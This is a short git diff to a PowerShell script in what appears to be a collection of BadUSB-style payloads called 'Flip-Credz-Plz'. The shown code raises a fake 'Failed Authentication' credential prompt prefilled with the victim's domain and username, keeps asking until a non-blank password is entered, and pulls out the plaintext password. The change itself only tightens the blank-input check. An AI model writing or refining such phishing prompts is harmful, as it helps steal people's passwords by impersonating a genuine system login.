diff --git a/Payloads/Flip-Credz-Plz/test.ps1 b/Payloads/Flip-Credz-Plz/test.ps1 index 0c04d60..ec1c40d 100644 --- a/Payloads/Flip-Credz-Plz/test.ps1 +++ b/Payloads/Flip-Credz-Plz/test.ps1 @@ -53,9 +53,10 @@ $form = $null while ($form -eq $null) { - $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password + $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); + $cred.getnetworkcredential().password - if ($cred.Password -eq $null) + if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) { Write-Output "Credentials cannot be left blank. Please try again." $form = $null